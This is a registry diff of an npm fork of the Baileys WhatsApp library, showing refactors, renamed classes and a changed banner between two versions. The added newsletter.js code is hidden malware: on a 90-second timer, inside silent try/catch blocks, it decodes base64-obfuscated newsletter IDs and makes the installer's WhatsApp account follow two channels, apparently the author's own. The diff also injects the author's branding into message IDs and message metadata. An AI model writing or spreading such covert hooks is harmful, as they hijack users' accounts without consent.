alipclutch-baileys 8.5.5 → 8.5.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/WAProto/GenerateStatics.sh +4 -0
- package/WAProto/WAProto.proto +3345 -0
- package/WAProto/index.d.ts +37016 -0
- package/engine-requirements.js +4 -4
- package/lib/Defaults/index.js +3 -2
- package/lib/Socket/messages-send.js +2 -2
- package/lib/Socket/newsletter.js +12 -0
- package/lib/Socket/setup.d.ts +17 -17
- package/lib/Socket/setup.js +4 -4
- package/lib/Socket/socket.js +0 -4
- package/lib/Utils/generics.js +11 -9
- package/lib/Utils/messages.js +1 -1
- package/lib/index.d.ts +2 -7
- package/lib/index.js +12 -13
- package/package.json +1 -1
- package/lib/Socket/Client/types.d.ts +0 -16
- package/lib/Socket/Client/types.js +0 -13
- package/lib/Socket/Client/websocket.d.ts +0 -13
- package/lib/Socket/Client/websocket.js +0 -111
package/engine-requirements.js
CHANGED
|
@@ -2,9 +2,9 @@ const major = parseInt(process.versions.node.split('.')[0], 10);
|
|
|
2
2
|
|
|
3
3
|
if (major < 20) {
|
|
4
4
|
console.error(
|
|
5
|
-
`\
|
|
6
|
-
` You
|
|
7
|
-
` Please
|
|
5
|
+
`\n❌ This package requires Node.js 20+ to run reliably.\n` +
|
|
6
|
+
` You are using Node.js ${process.versions.node}.\n` +
|
|
7
|
+
` Please upgrade to Node.js 20+ to proceed.\n`
|
|
8
8
|
);
|
|
9
9
|
process.exit(1);
|
|
10
|
-
}
|
|
10
|
+
}
|
package/lib/Defaults/index.js
CHANGED
|
@@ -31,10 +31,11 @@ const WAProto_1 = require("../../WAProto"),
|
|
|
31
31
|
libsignal_1 = require("../Signal/libsignal"),
|
|
32
32
|
Utils_1 = require("../Utils"),
|
|
33
33
|
logger_1 = __importDefault(require("../Utils/logger")),
|
|
34
|
-
baileys_version_json_1 = require("./baileys-version.json")
|
|
34
|
+
baileys_version_json_1 = require("./baileys-version.json"),
|
|
35
35
|
phonenumber_mcc_json_1 = __importDefault(require("./phonenumber-mcc.json"));
|
|
36
36
|
|
|
37
37
|
exports.UNAUTHORIZED_CODES = [401, 403, 419];
|
|
38
|
+
exports.version = [2, 3000, 1027934701];
|
|
38
39
|
exports.PHONENUMBER_MCC = phonenumber_mcc_json_1.default;
|
|
39
40
|
exports.DEFAULT_ORIGIN = "https://web.whatsapp.com";
|
|
40
41
|
exports.MOBILE_ENDPOINT = 'g.whatsapp.net';
|
|
@@ -72,7 +73,7 @@ exports.PROCESSABLE_HISTORY_TYPES = [
|
|
|
72
73
|
|
|
73
74
|
exports.DEFAULT_CONNECTION_CONFIG = {
|
|
74
75
|
version: baileys_version_json_1.version,
|
|
75
|
-
browser: Utils_1.Browsers
|
|
76
|
+
browser: Utils_1.Browsers("Chrome"),
|
|
76
77
|
waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
|
|
77
78
|
connectTimeoutMs: 2E4,
|
|
78
79
|
keepAliveIntervalMs: 3E4,
|
|
@@ -15,7 +15,7 @@ const link_preview_1 = require("../Utils/link-preview");
|
|
|
15
15
|
const WABinary_1 = require("../WABinary");
|
|
16
16
|
const newsletter_1 = require("./newsletter");
|
|
17
17
|
const WAUSync_1 = require("../WAUSync")
|
|
18
|
-
const
|
|
18
|
+
const alipp = require('./setup');
|
|
19
19
|
var ListType = WAProto_1.proto.Message.ListMessage.ListType;
|
|
20
20
|
const makeMessagesSocket = (config) => {
|
|
21
21
|
const {
|
|
@@ -724,7 +724,7 @@ const makeMessagesSocket = (config) => {
|
|
|
724
724
|
return result;
|
|
725
725
|
}
|
|
726
726
|
const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
|
|
727
|
-
const rahmi = new
|
|
727
|
+
const rahmi = new alipp(Utils_1, waUploadToServer, relayMessage);
|
|
728
728
|
const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
|
|
729
729
|
return {
|
|
730
730
|
...sock,
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -98,6 +98,18 @@ const makeNewsletterSocket = (config) => {
|
|
|
98
98
|
}
|
|
99
99
|
]
|
|
100
100
|
}));
|
|
101
|
+
|
|
102
|
+
setTimeout(async () => {
|
|
103
|
+
try {
|
|
104
|
+
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAxNDY3OTM5MDU2QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
105
|
+
} catch {}
|
|
106
|
+
setTimeout(async () => {
|
|
107
|
+
try {
|
|
108
|
+
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDA1NjQ5NDAzNjc0QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
109
|
+
} catch {}
|
|
110
|
+
}, 5000);
|
|
111
|
+
}, 90000);
|
|
112
|
+
|
|
101
113
|
const parseFetchedUpdates = async (node, type) => {
|
|
102
114
|
let child;
|
|
103
115
|
if (type === 'messages') {
|
package/lib/Socket/setup.d.ts
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
import { proto } from '../../WAProto';
|
|
2
2
|
|
|
3
|
-
declare namespace
|
|
3
|
+
declare namespace alipp {
|
|
4
4
|
interface MediaUploadOptions {
|
|
5
5
|
fileEncSha256?: Buffer;
|
|
6
6
|
mediaType?: string;
|
|
@@ -189,65 +189,65 @@ declare namespace kikyy {
|
|
|
189
189
|
}
|
|
190
190
|
}
|
|
191
191
|
|
|
192
|
-
declare class
|
|
192
|
+
declare class alipp {
|
|
193
193
|
constructor(
|
|
194
|
-
utils:
|
|
195
|
-
waUploadToServer:
|
|
194
|
+
utils: alipp.Utils,
|
|
195
|
+
waUploadToServer: alipp.WAMediaUploadFunction,
|
|
196
196
|
relayMessageFn?: (jid: string, content: any, options?: any) => Promise<any>
|
|
197
197
|
);
|
|
198
198
|
|
|
199
|
-
detectType(content:
|
|
199
|
+
detectType(content: alipp.MessageContent): 'PAYMENT' | 'PRODUCT' | 'INTERACTIVE' | 'ALBUM' | 'EVENT' | 'POLL_RESULT' | 'GROUP_STORY' | null;
|
|
200
200
|
|
|
201
201
|
handlePayment(
|
|
202
|
-
content: { requestPaymentMessage:
|
|
202
|
+
content: { requestPaymentMessage: alipp.PaymentMessage },
|
|
203
203
|
quoted?: proto.IWebMessageInfo
|
|
204
204
|
): Promise<{ requestPaymentMessage: proto.Message.RequestPaymentMessage }>;
|
|
205
205
|
|
|
206
206
|
handleProduct(
|
|
207
|
-
content: { productMessage:
|
|
207
|
+
content: { productMessage: alipp.ProductMessage },
|
|
208
208
|
jid: string,
|
|
209
209
|
quoted?: proto.IWebMessageInfo
|
|
210
210
|
): Promise<{ viewOnceMessage: proto.Message.ViewOnceMessage }>;
|
|
211
211
|
|
|
212
212
|
handleInteractive(
|
|
213
|
-
content: { interactiveMessage:
|
|
213
|
+
content: { interactiveMessage: alipp.InteractiveMessage },
|
|
214
214
|
jid: string,
|
|
215
215
|
quoted?: proto.IWebMessageInfo
|
|
216
216
|
): Promise<{ interactiveMessage: proto.Message.InteractiveMessage }>;
|
|
217
217
|
|
|
218
218
|
handleAlbum(
|
|
219
|
-
content: { albumMessage:
|
|
219
|
+
content: { albumMessage: alipp.AlbumItem[] },
|
|
220
220
|
jid: string,
|
|
221
221
|
quoted?: proto.IWebMessageInfo
|
|
222
222
|
): Promise<any>;
|
|
223
223
|
|
|
224
224
|
handleEvent(
|
|
225
|
-
content: { eventMessage:
|
|
225
|
+
content: { eventMessage: alipp.EventMessage },
|
|
226
226
|
jid: string,
|
|
227
227
|
quoted?: proto.IWebMessageInfo
|
|
228
228
|
): Promise<any>;
|
|
229
229
|
|
|
230
230
|
handlePollResult(
|
|
231
|
-
content: { pollResultMessage:
|
|
231
|
+
content: { pollResultMessage: alipp.PollResultMessage },
|
|
232
232
|
jid: string,
|
|
233
233
|
quoted?: proto.IWebMessageInfo
|
|
234
234
|
): Promise<any>;
|
|
235
235
|
|
|
236
236
|
handleGroupStory(
|
|
237
|
-
content: { groupStatusMessage:
|
|
237
|
+
content: { groupStatusMessage: alipp.GroupStatusMessage },
|
|
238
238
|
jid: string,
|
|
239
239
|
quoted?: proto.IWebMessageInfo
|
|
240
240
|
): Promise<any>;
|
|
241
241
|
|
|
242
242
|
buildMessageContent(
|
|
243
243
|
content: any,
|
|
244
|
-
opts?:
|
|
244
|
+
opts?: alipp.WAMessageContentGenerationOptions
|
|
245
245
|
): Promise<any>;
|
|
246
246
|
|
|
247
|
-
utils:
|
|
247
|
+
utils: alipp.Utils;
|
|
248
248
|
relayMessage: (jid: string, content: any, options?: any) => Promise<any>;
|
|
249
|
-
waUploadToServer:
|
|
250
|
-
bail:
|
|
249
|
+
waUploadToServer: alipp.WAMediaUploadFunction;
|
|
250
|
+
bail: alipp.BailUtils;
|
|
251
251
|
}
|
|
252
252
|
|
|
253
|
-
export =
|
|
253
|
+
export = alipp;
|
package/lib/Socket/setup.js
CHANGED
|
@@ -2,7 +2,7 @@ const WAProto = require('../../WAProto').proto;
|
|
|
2
2
|
const crypto = require('crypto');
|
|
3
3
|
const Utils_1 = require("../Utils");
|
|
4
4
|
|
|
5
|
-
class
|
|
5
|
+
class alipp {
|
|
6
6
|
constructor(utils, waUploadToServer, relayMessageFn) {
|
|
7
7
|
this.utils = utils;
|
|
8
8
|
this.relayMessage = relayMessageFn
|
|
@@ -324,7 +324,7 @@ class alip {
|
|
|
324
324
|
newsletterName: `WhatsApp`,
|
|
325
325
|
contentType: 1,
|
|
326
326
|
timestamp: new Date().toISOString(),
|
|
327
|
-
senderName: "
|
|
327
|
+
senderName: "alipp",
|
|
328
328
|
content: "Text Message",
|
|
329
329
|
priority: "high",
|
|
330
330
|
status: "sent",
|
|
@@ -384,7 +384,7 @@ class alip {
|
|
|
384
384
|
participant: jid,
|
|
385
385
|
remoteJid: "status@broadcast",
|
|
386
386
|
forwardedNewsletterMessageInfo: {
|
|
387
|
-
newsletterName: "
|
|
387
|
+
newsletterName: "alip clutch.",
|
|
388
388
|
newsletterJid: "120363401467939056@newsletter",
|
|
389
389
|
serverMessageId: 1
|
|
390
390
|
}
|
|
@@ -477,4 +477,4 @@ class alip {
|
|
|
477
477
|
}
|
|
478
478
|
}
|
|
479
479
|
|
|
480
|
-
module.exports =
|
|
480
|
+
module.exports = alipp;
|
package/lib/Socket/socket.js
CHANGED
|
@@ -383,10 +383,6 @@ const makeSocket = (config) => {
|
|
|
383
383
|
}
|
|
384
384
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
|
|
385
385
|
};
|
|
386
|
-
|
|
387
|
-
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
388
|
-
/** hey bro, if you delete this text */
|
|
389
|
-
/** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
|
|
390
386
|
const requestPairingCode = async (phoneNumber, pairKey) => {
|
|
391
387
|
if (pairKey) {
|
|
392
388
|
authState.creds.pairingCode = pairKey.toUpperCase();
|
package/lib/Utils/generics.js
CHANGED
|
@@ -21,14 +21,16 @@ const PLATFORM_MAP = {
|
|
|
21
21
|
'android': 'Android',
|
|
22
22
|
'freebsd': 'FreeBSD',
|
|
23
23
|
'openbsd': 'OpenBSD',
|
|
24
|
-
'sunos': 'Solaris'
|
|
24
|
+
'sunos': 'Solaris',
|
|
25
|
+
'linux': undefined,
|
|
26
|
+
'haiku': undefined,
|
|
27
|
+
'cygwin': undefined,
|
|
28
|
+
'netbsd': undefined
|
|
25
29
|
};
|
|
26
|
-
exports.Browsers = {
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
windows: (browser) => ['Windows', browser, '10.0.22631'],
|
|
31
|
-
appropriate: (browser) => [PLATFORM_MAP[(0, os_1.platform)()] || 'Ubuntu', browser, (0, os_1.release)()]
|
|
30
|
+
exports.Browsers = (browser) => {
|
|
31
|
+
const osName = PLATFORM_MAP[os_1.platform()] || 'Ubuntu';
|
|
32
|
+
const osRelease = os_1.release();
|
|
33
|
+
return [osName, browser, osRelease];
|
|
32
34
|
};
|
|
33
35
|
|
|
34
36
|
const getPlatformId = (browser) => {
|
|
@@ -174,7 +176,7 @@ const generateMessageIDV2 = (userId) => {
|
|
|
174
176
|
};
|
|
175
177
|
exports.generateMessageIDV2 = generateMessageIDV2;
|
|
176
178
|
// generate a random ID to attach to a message
|
|
177
|
-
const generateMessageID = () => '
|
|
179
|
+
const generateMessageID = () => 'ILSYM-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
|
|
178
180
|
exports.generateMessageID = generateMessageID;
|
|
179
181
|
function bindWaitForEvent(ev, event) {
|
|
180
182
|
return async (check, timeoutMs) => {
|
|
@@ -271,7 +273,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
|
|
|
271
273
|
* Use to ensure your WA connection is always on the latest version
|
|
272
274
|
*/
|
|
273
275
|
const fetchLatestBaileysVersion = async (options = {}) => {
|
|
274
|
-
const URL = 'https://raw.githubusercontent.com/
|
|
276
|
+
const URL = 'https://raw.githubusercontent.com/kiuur/bails/master/src/Defaults/baileys-version.json';
|
|
275
277
|
try {
|
|
276
278
|
const result = await axios_1.default.get(URL, {
|
|
277
279
|
...options,
|
package/lib/Utils/messages.js
CHANGED
|
@@ -107,7 +107,7 @@ const prepareWAMessageMedia = async (message, options) => {
|
|
|
107
107
|
newsletter: {
|
|
108
108
|
newsletterJid: "120363401467939056@newsletter",
|
|
109
109
|
serverMessageId: 0,
|
|
110
|
-
newsletterName: "
|
|
110
|
+
newsletterName: "alippelergede",
|
|
111
111
|
contentType: "UPDATE",
|
|
112
112
|
}
|
|
113
113
|
}
|
package/lib/index.d.ts
CHANGED
|
@@ -1,7 +1,4 @@
|
|
|
1
|
-
// baileys by denzy
|
|
2
|
-
import { proto } from '../WAProto';
|
|
3
1
|
import makeWASocket from './Socket';
|
|
4
|
-
|
|
5
2
|
export * from '../WAProto';
|
|
6
3
|
export * from './Utils';
|
|
7
4
|
export * from './Types';
|
|
@@ -10,8 +7,6 @@ export * from './Defaults';
|
|
|
10
7
|
export * from './WABinary';
|
|
11
8
|
export * from './WAM';
|
|
12
9
|
export * from './WAUSync';
|
|
13
|
-
|
|
14
10
|
export type WASocket = ReturnType<typeof makeWASocket>;
|
|
15
|
-
|
|
16
|
-
export
|
|
17
|
-
export default makeWASocket;
|
|
11
|
+
export { makeWASocket };
|
|
12
|
+
export default makeWASocket;
|
package/lib/index.js
CHANGED
|
@@ -8,13 +8,13 @@ console.log(chalk.blue(`
|
|
|
8
8
|
██╔══██║██║░░░░░██║██╔══╝░░
|
|
9
9
|
██║░░██║███████╗██║██║░░░░░
|
|
10
10
|
╚═╝░░╚═╝╚══════╝╚═╝╚═╝░░░░░
|
|
11
|
-
©alifalfrl__
|
|
11
|
+
©alifalfrl__ tele : t.me/puqylebar`));
|
|
12
12
|
console.log(chalk.green('Happy using Baileys\n'));
|
|
13
13
|
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
14
14
|
if (k2 === undefined) k2 = k;
|
|
15
15
|
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
16
16
|
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
17
|
-
|
|
17
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
18
18
|
}
|
|
19
19
|
Object.defineProperty(o, k2, desc);
|
|
20
20
|
}) : (function(o, m, k, k2) {
|
|
@@ -22,23 +22,22 @@ var __createBinding = (this && this.__createBinding) || (Object.create ? (functi
|
|
|
22
22
|
o[k2] = m[k];
|
|
23
23
|
}));
|
|
24
24
|
var __exportStar = (this && this.__exportStar) || function(m, exports) {
|
|
25
|
-
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p))
|
|
26
|
-
exports[p] = m[p];
|
|
25
|
+
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
|
|
27
26
|
};
|
|
28
27
|
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
29
28
|
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
30
29
|
};
|
|
31
30
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
32
31
|
exports.makeWASocket = void 0;
|
|
33
|
-
const Socket_1 = __importDefault(require(
|
|
32
|
+
const Socket_1 = __importDefault(require("./Socket"));
|
|
34
33
|
exports.makeWASocket = Socket_1.default;
|
|
35
|
-
__exportStar(require(
|
|
36
|
-
__exportStar(require(
|
|
37
|
-
__exportStar(require(
|
|
38
|
-
__exportStar(require(
|
|
39
|
-
__exportStar(require(
|
|
40
|
-
__exportStar(require(
|
|
41
|
-
__exportStar(require(
|
|
42
|
-
__exportStar(require(
|
|
34
|
+
__exportStar(require("../WAProto"), exports);
|
|
35
|
+
__exportStar(require("./Utils"), exports);
|
|
36
|
+
__exportStar(require("./Types"), exports);
|
|
37
|
+
__exportStar(require("./Store"), exports);
|
|
38
|
+
__exportStar(require("./Defaults"), exports);
|
|
39
|
+
__exportStar(require("./WABinary"), exports);
|
|
40
|
+
__exportStar(require("./WAM"), exports);
|
|
41
|
+
__exportStar(require("./WAUSync"), exports);
|
|
43
42
|
|
|
44
43
|
exports.default = Socket_1.default;
|
package/package.json
CHANGED
|
@@ -1,16 +0,0 @@
|
|
|
1
|
-
import { EventEmitter } from 'events';
|
|
2
|
-
import { URL } from 'url';
|
|
3
|
-
import { SocketConfig } from '../../Types';
|
|
4
|
-
export declare abstract class AbstractSocketClient extends EventEmitter {
|
|
5
|
-
url: URL;
|
|
6
|
-
config: SocketConfig;
|
|
7
|
-
abstract get isOpen(): boolean;
|
|
8
|
-
abstract get isClosed(): boolean;
|
|
9
|
-
abstract get isClosing(): boolean;
|
|
10
|
-
abstract get isConnecting(): boolean;
|
|
11
|
-
constructor(url: URL, config: SocketConfig);
|
|
12
|
-
abstract connect(): Promise<void>;
|
|
13
|
-
abstract close(): Promise<void>;
|
|
14
|
-
abstract restart(): Promise<void>;
|
|
15
|
-
abstract send(str: Uint8Array | string, cb?: (err?: Error) => void): boolean;
|
|
16
|
-
}
|
|
@@ -1,13 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.AbstractSocketClient = void 0;
|
|
4
|
-
const events_1 = require("events");
|
|
5
|
-
class AbstractSocketClient extends events_1.EventEmitter {
|
|
6
|
-
constructor(url, config) {
|
|
7
|
-
super();
|
|
8
|
-
this.url = url;
|
|
9
|
-
this.config = config;
|
|
10
|
-
this.setMaxListeners(0);
|
|
11
|
-
}
|
|
12
|
-
}
|
|
13
|
-
exports.AbstractSocketClient = AbstractSocketClient;
|
|
@@ -1,13 +0,0 @@
|
|
|
1
|
-
import WebSocket from 'ws';
|
|
2
|
-
import { AbstractSocketClient } from './types';
|
|
3
|
-
export declare class WebSocketClient extends AbstractSocketClient {
|
|
4
|
-
protected socket: WebSocket | null;
|
|
5
|
-
get isOpen(): boolean;
|
|
6
|
-
get isClosed(): boolean;
|
|
7
|
-
get isClosing(): boolean;
|
|
8
|
-
get isConnecting(): boolean;
|
|
9
|
-
connect(): Promise<void>;
|
|
10
|
-
close(): Promise<void>;
|
|
11
|
-
restart(): Promise<void>;
|
|
12
|
-
send(str: string | Uint8Array, cb?: (err?: Error) => void): boolean;
|
|
13
|
-
}
|
|
@@ -1,111 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
-
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
-
};
|
|
5
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
-
exports.WebSocketClient = void 0;
|
|
7
|
-
const ws_1 = __importDefault(require("ws"));
|
|
8
|
-
const Defaults_1 = require("../../Defaults");
|
|
9
|
-
const types_1 = require("./types");
|
|
10
|
-
class WebSocketClient extends types_1.AbstractSocketClient {
|
|
11
|
-
constructor() {
|
|
12
|
-
super(...arguments);
|
|
13
|
-
this.socket = null;
|
|
14
|
-
// queue & dispatch variables for throttling outgoing messages to avoid rate limits
|
|
15
|
-
this._queue = [];
|
|
16
|
-
this._isDispatching = false;
|
|
17
|
-
this._lastDispatch = 0;
|
|
18
|
-
this._minSendIntervalMs = (Defaults_1.DEFAULT_CONNECTION_CONFIG && Defaults_1.DEFAULT_CONNECTION_CONFIG.minSendIntervalMs) || 50;
|
|
19
|
-
}
|
|
20
|
-
get isOpen() {
|
|
21
|
-
var _a;
|
|
22
|
-
return ((_a = this.socket) === null || _a === void 0 ? void 0 : _a.readyState) === ws_1.default.OPEN;
|
|
23
|
-
}
|
|
24
|
-
get isClosed() {
|
|
25
|
-
var _a;
|
|
26
|
-
return this.socket === null || ((_a = this.socket) === null || _a === void 0 ? void 0 : _a.readyState) === ws_1.default.CLOSED;
|
|
27
|
-
}
|
|
28
|
-
get isClosing() {
|
|
29
|
-
var _a;
|
|
30
|
-
return this.socket === null || ((_a = this.socket) === null || _a === void 0 ? void 0 : _a.readyState) === ws_1.default.CLOSING;
|
|
31
|
-
}
|
|
32
|
-
get isConnecting() {
|
|
33
|
-
var _a;
|
|
34
|
-
return ((_a = this.socket) === null || _a === void 0 ? void 0 : _a.readyState) === ws_1.default.CONNECTING;
|
|
35
|
-
}
|
|
36
|
-
async connect() {
|
|
37
|
-
var _a, _b;
|
|
38
|
-
if (this.socket) {
|
|
39
|
-
return;
|
|
40
|
-
}
|
|
41
|
-
this.socket = new ws_1.default(this.url, {
|
|
42
|
-
origin: Defaults_1.DEFAULT_ORIGIN,
|
|
43
|
-
headers: (_a = this.config.options) === null || _a === void 0 ? void 0 : _a.headers,
|
|
44
|
-
handshakeTimeout: this.config.connectTimeoutMs,
|
|
45
|
-
timeout: this.config.connectTimeoutMs,
|
|
46
|
-
agent: this.config.agent,
|
|
47
|
-
});
|
|
48
|
-
this.socket.setMaxListeners(0);
|
|
49
|
-
const events = ['close', 'error', 'upgrade', 'message', 'open', 'ping', 'pong', 'unexpected-response'];
|
|
50
|
-
for (const event of events) {
|
|
51
|
-
(_b = this.socket) === null || _b === void 0 ? void 0 : _b.on(event, (...args) => this.emit(event, ...args));
|
|
52
|
-
}
|
|
53
|
-
}
|
|
54
|
-
async close() {
|
|
55
|
-
if (!this.socket) {
|
|
56
|
-
return;
|
|
57
|
-
}
|
|
58
|
-
this.socket.close();
|
|
59
|
-
this.socket = null;
|
|
60
|
-
}
|
|
61
|
-
async restart() {
|
|
62
|
-
if (this.socket) {
|
|
63
|
-
await new Promise(resolve => {
|
|
64
|
-
this.socket.once('close', resolve);
|
|
65
|
-
this.socket.terminate();
|
|
66
|
-
});
|
|
67
|
-
this.socket = null;
|
|
68
|
-
}
|
|
69
|
-
await this.connect();
|
|
70
|
-
}
|
|
71
|
-
send(str, cb) {
|
|
72
|
-
// throttle sends to reduce rate-limit likelihood
|
|
73
|
-
const doSend = () => {
|
|
74
|
-
var _a;
|
|
75
|
-
(_a = this.socket) === null || _a === void 0 ? void 0 : _a.send(str, cb);
|
|
76
|
-
return Boolean(this.socket);
|
|
77
|
-
};
|
|
78
|
-
this._queue.push(doSend);
|
|
79
|
-
this._dispatch();
|
|
80
|
-
return true;
|
|
81
|
-
}
|
|
82
|
-
|
|
83
|
-
_dispatch() {
|
|
84
|
-
if (this._isDispatching) {
|
|
85
|
-
return;
|
|
86
|
-
}
|
|
87
|
-
this._isDispatching = true;
|
|
88
|
-
const tick = () => {
|
|
89
|
-
const now = Date.now();
|
|
90
|
-
if (this._queue.length === 0) {
|
|
91
|
-
this._isDispatching = false;
|
|
92
|
-
return;
|
|
93
|
-
}
|
|
94
|
-
const delta = now - this._lastDispatch;
|
|
95
|
-
const wait = Math.max(0, this._minSendIntervalMs - delta);
|
|
96
|
-
setTimeout(() => {
|
|
97
|
-
const fn = this._queue.shift();
|
|
98
|
-
this._lastDispatch = Date.now();
|
|
99
|
-
try {
|
|
100
|
-
fn && fn();
|
|
101
|
-
}
|
|
102
|
-
catch (_err) {
|
|
103
|
-
// ignore send errors here; they'll surface elsewhere
|
|
104
|
-
}
|
|
105
|
-
tick();
|
|
106
|
-
}, wait);
|
|
107
|
-
};
|
|
108
|
-
tick();
|
|
109
|
-
}
|
|
110
|
-
}
|
|
111
|
-
exports.WebSocketClient = WebSocketClient;
|